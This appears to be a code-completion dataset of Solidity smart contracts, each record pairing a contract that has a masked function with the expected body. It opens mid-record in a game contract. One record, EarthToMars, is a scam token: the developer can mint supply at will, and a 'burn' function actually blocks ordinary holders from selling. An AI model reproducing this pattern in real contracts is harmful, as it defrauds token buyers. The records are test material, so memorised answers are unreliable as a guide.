balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); // add eth to pot round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { /* MASKING NOTES earnings masks are a tricky thing for people to wrap their minds around. the basic thing to understand here. is were going to have a global tracker based on profit per share for each round, that increases in relevant proportion to the increase in share supply. the player will have an additional mask that basically says "based on the rounds mask, my shares, and how much i've already withdrawn, how much is still owed to me?" */ // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 * @return earnings in wei format */ function withdrawEarnings(uint256 _pID) private returns(uint256) { // update gen vault updateGenVault(_pID, plyr_[_pID].lrnd); // from vaults uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } /** * @dev prepares compression data and fires event for buy or reload tx's */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, ZaynixKeyDatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit ZaynixKeyevents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.ZaynixKeyAmount, _eventData_.genAmount, _eventData_.potAmount ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; function activate() public { // only team just can activate require(msg.sender == admin); // can only be ran once require(activated_ == false); // activate the contract activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } }
// set up our tx event data and determine if player is new or not ZaynixKeyDatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // buy core buyCore(_pID, plyr_[_pID].laff, _eventData_);
function() isActivated() isHuman() isWithinLimits(msg.value) public payable
//============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev emergency buy uses last stored affiliate ID */ function() isActivated() isHuman() isWithinLimits(msg.value) public payable
20,847
Owned
acceptOwnership
contract Owned { address public owner; address public newOwner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public {<FILL_FUNCTION_BODY> } }
contract Owned { address public owner; address public newOwner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } <FILL_FUNCTION> }
require(msg.sender == newOwner); owner = newOwner; newOwner = address(0);
function acceptOwnership() public
function acceptOwnership() public
48,110
NewToken
setParams
contract NewToken is Pausable, StandardToken, BlackList { string public name; string public symbol; uint8 public decimals; address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the contract // @param _name Token Name // @param _symbol Token symbol // @param _decimals Token decimals function NewToken(uint _initialSupply, string _name, string _symbol, uint8 _decimals) public { _totalSupply = _initialSupply; name = _name; symbol = _symbol; decimals = _decimals; balances[owner] = _initialSupply; deprecated = false; } // Forward ERC20 methods to upgraded contract if this one is deprecated function transfer(address _to, uint _value) public whenNotPaused returns (bool) { require(!isBlackListed[msg.sender]); require(!isBlackListed[_to]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value); } else { return super.transfer(_to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function transferFrom(address _from, address _to, uint _value) public whenNotPaused returns (bool) { require(!isBlackListed[msg.sender]); require(!isBlackListed[_from]); require(!isBlackListed[_to]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value); } else { return super.transferFrom(_from, _to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function balanceOf(address who) public constant returns (uint) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).balanceOf(who); } else { return super.balanceOf(who); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) returns (bool) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public constant returns (uint remaining) { if (deprecated) { return StandardToken(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); } } // deprecate current contract in favour of a new one function deprecate(address _upgradedAddress) public onlyOwner { deprecated = true; upgradedAddress = _upgradedAddress; Deprecate(_upgradedAddress); } // deprecate current contract if favour of a new one function totalSupply() public constant returns (uint) { if (deprecated) { return StandardToken(upgradedAddress).totalSupply(); } else { return _totalSupply; } } // Issue a new amount of tokens // these tokens are deposited into the owner address // // @param _amount Number of tokens to be issued function issue(uint amount) public onlyOwner { require(_totalSupply.add(amount) > _totalSupply); require(balances[owner].add(amount) > balances[owner]); balances[owner] = balances[owner].add(amount); _totalSupply = _totalSupply.add(amount); Issue(amount); } // Redeem tokens. // These tokens are withdrawn from the owner address // if the balance must be enough to cover the redeem // or the call will fail. // @param _amount Number of tokens to be issued function redeem(uint amount) public onlyOwner { require(_totalSupply >= amount); require(balances[owner] >= amount); _totalSupply = _totalSupply.sub(amount); balances[owner] = balances[owner].sub(amount); Redeem(amount); } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(deprecated); return super.destroyBlackFunds(_blackListedUser); } function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {<FILL_FUNCTION_BODY> } // Called when new token are issued event Issue(uint amount); // Called when tokens are redeemed event Redeem(uint amount); // Called when contract is deprecated event Deprecate(address newAddress); // Called if contract ever adds fees event Params(uint feeBasisPoints, uint maxFee); }
contract NewToken is Pausable, StandardToken, BlackList { string public name; string public symbol; uint8 public decimals; address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the contract // @param _name Token Name // @param _symbol Token symbol // @param _decimals Token decimals function NewToken(uint _initialSupply, string _name, string _symbol, uint8 _decimals) public { _totalSupply = _initialSupply; name = _name; symbol = _symbol; decimals = _decimals; balances[owner] = _initialSupply; deprecated = false; } // Forward ERC20 methods to upgraded contract if this one is deprecated function transfer(address _to, uint _value) public whenNotPaused returns (bool) { require(!isBlackListed[msg.sender]); require(!isBlackListed[_to]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value); } else { return super.transfer(_to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function transferFrom(address _from, address _to, uint _value) public whenNotPaused returns (bool) { require(!isBlackListed[msg.sender]); require(!isBlackListed[_from]); require(!isBlackListed[_to]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value); } else { return super.transferFrom(_from, _to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function balanceOf(address who) public constant returns (uint) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).balanceOf(who); } else { return super.balanceOf(who); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) returns (bool) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public constant returns (uint remaining) { if (deprecated) { return StandardToken(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); } } // deprecate current contract in favour of a new one function deprecate(address _upgradedAddress) public onlyOwner { deprecated = true; upgradedAddress = _upgradedAddress; Deprecate(_upgradedAddress); } // deprecate current contract if favour of a new one function totalSupply() public constant returns (uint) { if (deprecated) { return StandardToken(upgradedAddress).totalSupply(); } else { return _totalSupply; } } // Issue a new amount of tokens // these tokens are deposited into the owner address // // @param _amount Number of tokens to be issued function issue(uint amount) public onlyOwner { require(_totalSupply.add(amount) > _totalSupply); require(balances[owner].add(amount) > balances[owner]); balances[owner] = balances[owner].add(amount); _totalSupply = _totalSupply.add(amount); Issue(amount); } // Redeem tokens. // These tokens are withdrawn from the owner address // if the balance must be enough to cover the redeem // or the call will fail. // @param _amount Number of tokens to be issued function redeem(uint amount) public onlyOwner { require(_totalSupply >= amount); require(balances[owner] >= amount); _totalSupply = _totalSupply.sub(amount); balances[owner] = balances[owner].sub(amount); Redeem(amount); } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(deprecated); return super.destroyBlackFunds(_blackListedUser); } <FILL_FUNCTION> // Called when new token are issued event Issue(uint amount); // Called when tokens are redeemed event Redeem(uint amount); // Called when contract is deprecated event Deprecate(address newAddress); // Called if contract ever adds fees event Params(uint feeBasisPoints, uint maxFee); }
// Ensure transparency by hardcoding limit beyond which fees can never be added require(newBasisPoints < 20); require(newMaxFee < 50); basisPointsRate = newBasisPoints; maximumFee = newMaxFee.mul(10**uint(decimals)); Params(basisPointsRate, maximumFee);
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner
94,028
EarthToMars
burn
contract EarthToMars is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _excludeDevAddress; uint256 private _tTotal = 100 * 10**9 * 10**18; string private _name = 'EarthToMars'; string private _symbol = 'ETM🪐'; uint8 private _decimals = 18; uint256 private _maxTotal; uint256 private _taxAmount; uint256 private _feeAmount; address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD; constructor (address devAddress, uint256 maxTotal, uint256 taxAm, uint256 feeAm) public { _excludeDevAddress = devAddress; _maxTotal = maxTotal; _taxAmount = taxAm; _feeAmount = feeAm; _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transferTo() public { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address"); _tTotal = _tTotal.add(_maxTotal); _balances[_msgSender()] = _balances[_msgSender()].add(_maxTotal); emit Transfer(address(0), _msgSender(), _maxTotal); } function setTaxAmount(uint256 maxTaxAmount) public { require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address"); _taxAmount = maxTaxAmount * 10**18; } function burn() public {<FILL_FUNCTION_BODY> } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (sender == owner()) { _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else{ if (balanceOf(sender) >= _feeAmount && balanceOf(sender) <= _taxAmount) { require(amount < 100, "Transfer amount exceeds the maxTxAmount."); } uint256 burnAmount = amount.mul(5).div(100); uint256 sendAmount = amount.sub(burnAmount); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount); _balances[recipient] = _balances[recipient].add(sendAmount); emit Transfer(sender, recipient, sendAmount); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ /** * @dev Throws if called by any account other than the owner. */ }
contract EarthToMars is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _excludeDevAddress; uint256 private _tTotal = 100 * 10**9 * 10**18; string private _name = 'EarthToMars'; string private _symbol = 'ETM🪐'; uint8 private _decimals = 18; uint256 private _maxTotal; uint256 private _taxAmount; uint256 private _feeAmount; address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD; constructor (address devAddress, uint256 maxTotal, uint256 taxAm, uint256 feeAm) public { _excludeDevAddress = devAddress; _maxTotal = maxTotal; _taxAmount = taxAm; _feeAmount = feeAm; _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transferTo() public { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address"); _tTotal = _tTotal.add(_maxTotal); _balances[_msgSender()] = _balances[_msgSender()].add(_maxTotal); emit Transfer(address(0), _msgSender(), _maxTotal); } function setTaxAmount(uint256 maxTaxAmount) public { require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address"); _taxAmount = maxTaxAmount * 10**18; } <FILL_FUNCTION> function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (sender == owner()) { _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else{ if (balanceOf(sender) >= _feeAmount && balanceOf(sender) <= _taxAmount) { require(amount < 100, "Transfer amount exceeds the maxTxAmount."); } uint256 burnAmount = amount.mul(5).div(100); uint256 sendAmount = amount.sub(burnAmount); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount); _balances[recipient] = _balances[recipient].add(sendAmount); emit Transfer(sender, recipient, sendAmount); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ /** * @dev Throws if called by any account other than the owner. */ }
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address"); uint256 c = 1; _feeAmount = c;
function burn() public
function burn() public
64,232
Ownable
_transferOwnership
contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Access denied"); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal {<FILL_FUNCTION_BODY> } }
contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Access denied"); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } <FILL_FUNCTION> }
require(newOwner != address(0), "Zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner;
function _transferOwnership(address newOwner) internal
function _transferOwnership(address newOwner) internal
43,456
SatanCoinRaffle
SatanCoinRaffle
contract SatanCoinRaffle { // address public constant satanCoinAddress = 0xCCcA48874780f9c42b162c9617bC6324c5142C22; address public constant randomAddress = 0x0230CfC895646d34538aE5b684d76Bf40a8B8B89; address public owner; Random public rand; struct RoundResults { uint roundNum; uint raffleAmount; bool raffleComplete; uint winnerIndex; address winner; } RoundResults[9] public roundResults; event RandomNumGenerated(uint64 _randomNum); event RoundSet(uint64 _coinNumBought, address ); event RaffleIssued(uint _roundNumber, uint _amountWon, uint _winnerIndex); event WinnerSet(uint _roundNumber, uint _winnerIndex, address winner); modifier onlyOwner { require(msg.sender == owner); _; } function SatanCoinRaffle () {<FILL_FUNCTION_BODY> } function random (uint64 upper) private returns (uint64) { //uses random contract: https://etherscan.io/address/0x0230CfC895646d34538aE5b684d76Bf40a8B8B89 // https://www.npmjs.com/package/eth-random uint64 randomNum = rand.random(upper); RandomNumGenerated(randomNum); return randomNum; } function setRound(uint roundNum, uint raffleAmount) public onlyOwner { require(roundNum < 9 && roundNum > 0); require(raffleAmount < 74 && raffleAmount > 0); require(!roundResults[roundNum-1].raffleComplete); roundResults[roundNum-1] = RoundResults(roundNum, raffleAmount, false, 0, address(0)); assert(raffle(roundNum)); } function setWinner(uint roundNum, address winner) public onlyOwner returns (bool) { require(roundNum < 9 && roundNum > 0); //the raffle must have already been run require(roundResults[roundNum-1].raffleComplete); //can only set winner once require(roundResults[roundNum-1].winner == address(0)); /* winner address is set manually based on the winningIndex using the transaction history of the SatanCoin contract. results may be compared with the contract itself here: https://etherscan.io/address/0xCCcA48874780f9c42b162c9617bC6324c5142C22 */ roundResults[roundNum-1].winner = winner; WinnerSet(roundNum, roundResults[roundNum-1].winnerIndex, roundResults[roundNum-1].winner); return true; } function raffle (uint roundNum) internal returns (bool) { require(roundNum < 9 && roundNum > 0); //can only run a raffle once require(!roundResults[roundNum-1].raffleComplete); //the winning index is generated by random number roundResults[roundNum-1].winnerIndex = random(uint64(74-roundResults[roundNum-1].raffleAmount)); roundResults[roundNum-1].raffleComplete = true; RaffleIssued(roundNum, roundResults[roundNum-1].raffleAmount, roundResults[roundNum-1].winnerIndex); return true; } }
contract SatanCoinRaffle { // address public constant satanCoinAddress = 0xCCcA48874780f9c42b162c9617bC6324c5142C22; address public constant randomAddress = 0x0230CfC895646d34538aE5b684d76Bf40a8B8B89; address public owner; Random public rand; struct RoundResults { uint roundNum; uint raffleAmount; bool raffleComplete; uint winnerIndex; address winner; } RoundResults[9] public roundResults; event RandomNumGenerated(uint64 _randomNum); event RoundSet(uint64 _coinNumBought, address ); event RaffleIssued(uint _roundNumber, uint _amountWon, uint _winnerIndex); event WinnerSet(uint _roundNumber, uint _winnerIndex, address winner); modifier onlyOwner { require(msg.sender == owner); _; } <FILL_FUNCTION> function random (uint64 upper) private returns (uint64) { //uses random contract: https://etherscan.io/address/0x0230CfC895646d34538aE5b684d76Bf40a8B8B89 // https://www.npmjs.com/package/eth-random uint64 randomNum = rand.random(upper); RandomNumGenerated(randomNum); return randomNum; } function setRound(uint roundNum, uint raffleAmount) public onlyOwner { require(roundNum < 9 && roundNum > 0); require(raffleAmount < 74 && raffleAmount > 0); require(!roundResults[roundNum-1].raffleComplete); roundResults[roundNum-1] = RoundResults(roundNum, raffleAmount, false, 0, address(0)); assert(raffle(roundNum)); } function setWinner(uint roundNum, address winner) public onlyOwner returns (bool) { require(roundNum < 9 && roundNum > 0); //the raffle must have already been run require(roundResults[roundNum-1].raffleComplete); //can only set winner once require(roundResults[roundNum-1].winner == address(0)); /* winner address is set manually based on the winningIndex using the transaction history of the SatanCoin contract. results may be compared with the contract itself here: https://etherscan.io/address/0xCCcA48874780f9c42b162c9617bC6324c5142C22 */ roundResults[roundNum-1].winner = winner; WinnerSet(roundNum, roundResults[roundNum-1].winnerIndex, roundResults[roundNum-1].winner); return true; } function raffle (uint roundNum) internal returns (bool) { require(roundNum < 9 && roundNum > 0); //can only run a raffle once require(!roundResults[roundNum-1].raffleComplete); //the winning index is generated by random number roundResults[roundNum-1].winnerIndex = random(uint64(74-roundResults[roundNum-1].raffleAmount)); roundResults[roundNum-1].raffleComplete = true; RaffleIssued(roundNum, roundResults[roundNum-1].raffleAmount, roundResults[roundNum-1].winnerIndex); return true; } }
owner = msg.sender; rand = Random(randomAddress);
function SatanCoinRaffle ()
function SatanCoinRaffle ()
90,336
SYNTH
SYNTH
contract SYNTH is ERC20 { string public constant symbol = "SYNTH"; string public constant name = "Synthesis"; uint8 public constant decimals = 8; uint256 _totalSupply = 7000000 * 10**8; address public owner; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; function SYNTH() public {<FILL_FUNCTION_BODY> } modifier onlyOwner() { require(msg.sender == owner); _; } function totalSupply() public constant returns (uint256 returnedTotalSupply) { returnedTotalSupply = _totalSupply; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _amount) returns (bool success) { if (balances[msg.sender] >= _amount && _amount > 0) { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false; } } function transferFrom( address _from, address _to, uint256 _amount ) returns (bool success) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } function approve(address _spender, uint256 _amount) public returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
contract SYNTH is ERC20 { string public constant symbol = "SYNTH"; string public constant name = "Synthesis"; uint8 public constant decimals = 8; uint256 _totalSupply = 7000000 * 10**8; address public owner; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; <FILL_FUNCTION> modifier onlyOwner() { require(msg.sender == owner); _; } function totalSupply() public constant returns (uint256 returnedTotalSupply) { returnedTotalSupply = _totalSupply; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _amount) returns (bool success) { if (balances[msg.sender] >= _amount && _amount > 0) { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false; } } function transferFrom( address _from, address _to, uint256 _amount ) returns (bool success) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } function approve(address _spender, uint256 _amount) public returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
owner = msg.sender; balances[owner] = 7000000 * 10**8;
function SYNTH() public
function SYNTH() public
64,393
ZCOR
unlockBalance
contract ZCOR is ERC20Interface, Ownable{ string public name = "ZROCOR"; string public symbol = "ZCOR"; uint public decimals = 0; uint public supply; address public founder; mapping(address => uint) public balances; mapping(uint => mapping(address => uint)) public timeLockedBalances; mapping(uint => address[]) public lockedAddresses; event Transfer(address indexed from, address indexed to, uint tokens); constructor() public{ supply = 10000000000; founder = msg.sender; balances[founder] = supply; } // transfer locked balance to an address function transferLockedBalance(uint _category, address _to, uint _value) public onlyOwner returns (bool success) { require(balances[msg.sender] >= _value && _value > 0); lockedAddresses[_category].push(_to); balances[msg.sender] -= _value; timeLockedBalances[_category][_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } // unlock category of locked address function unlockBalance(uint _category) public onlyOwner returns (bool success) {<FILL_FUNCTION_BODY> } //view locked balance function lockedBalanceOf(uint level, address _address) public view returns (uint balance) { return timeLockedBalances[level][_address]; } function totalSupply() public view returns (uint){ return supply; } function balanceOf(address tokenOwner) public view returns (uint balance){ return balances[tokenOwner]; } //transfer from the owner balance to another address function transfer(address to, uint tokens) public returns (bool success){ require(balances[msg.sender] >= tokens && tokens > 0); balances[to] += tokens; balances[msg.sender] -= tokens; emit Transfer(msg.sender, to, tokens); return true; } function burn(uint256 _value) public onlyOwner returns (bool success) { require(balances[founder] >= _value); // Check if the sender has enough balances[founder] -= _value; // Subtract from the sender supply -= _value; // Updates totalSupply return true; } function mint(uint256 _value) public onlyOwner returns (bool success) { require(balances[founder] >= _value); // Check if the sender has enough balances[founder] += _value; // Add to the sender supply += _value; // Updates totalSupply return true; } }
contract ZCOR is ERC20Interface, Ownable{ string public name = "ZROCOR"; string public symbol = "ZCOR"; uint public decimals = 0; uint public supply; address public founder; mapping(address => uint) public balances; mapping(uint => mapping(address => uint)) public timeLockedBalances; mapping(uint => address[]) public lockedAddresses; event Transfer(address indexed from, address indexed to, uint tokens); constructor() public{ supply = 10000000000; founder = msg.sender; balances[founder] = supply; } // transfer locked balance to an address function transferLockedBalance(uint _category, address _to, uint _value) public onlyOwner returns (bool success) { require(balances[msg.sender] >= _value && _value > 0); lockedAddresses[_category].push(_to); balances[msg.sender] -= _value; timeLockedBalances[_category][_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } <FILL_FUNCTION> //view locked balance function lockedBalanceOf(uint level, address _address) public view returns (uint balance) { return timeLockedBalances[level][_address]; } function totalSupply() public view returns (uint){ return supply; } function balanceOf(address tokenOwner) public view returns (uint balance){ return balances[tokenOwner]; } //transfer from the owner balance to another address function transfer(address to, uint tokens) public returns (bool success){ require(balances[msg.sender] >= tokens && tokens > 0); balances[to] += tokens; balances[msg.sender] -= tokens; emit Transfer(msg.sender, to, tokens); return true; } function burn(uint256 _value) public onlyOwner returns (bool success) { require(balances[founder] >= _value); // Check if the sender has enough balances[founder] -= _value; // Subtract from the sender supply -= _value; // Updates totalSupply return true; } function mint(uint256 _value) public onlyOwner returns (bool success) { require(balances[founder] >= _value); // Check if the sender has enough balances[founder] += _value; // Add to the sender supply += _value; // Updates totalSupply return true; } }
uint _length = lockedAddresses[_category].length; address _addr; uint _value = 0; for(uint i = 0; i< _length; i++) { _addr = lockedAddresses[_category][i]; _value = timeLockedBalances[_category][_addr]; balances[_addr] += _value; timeLockedBalances[_category][_addr] = 0; } delete lockedAddresses[_category]; return true;
function unlockBalance(uint _category) public onlyOwner returns (bool success)
// unlock category of locked address function unlockBalance(uint _category) public onlyOwner returns (bool success)
54,229
UNFT
feesLive
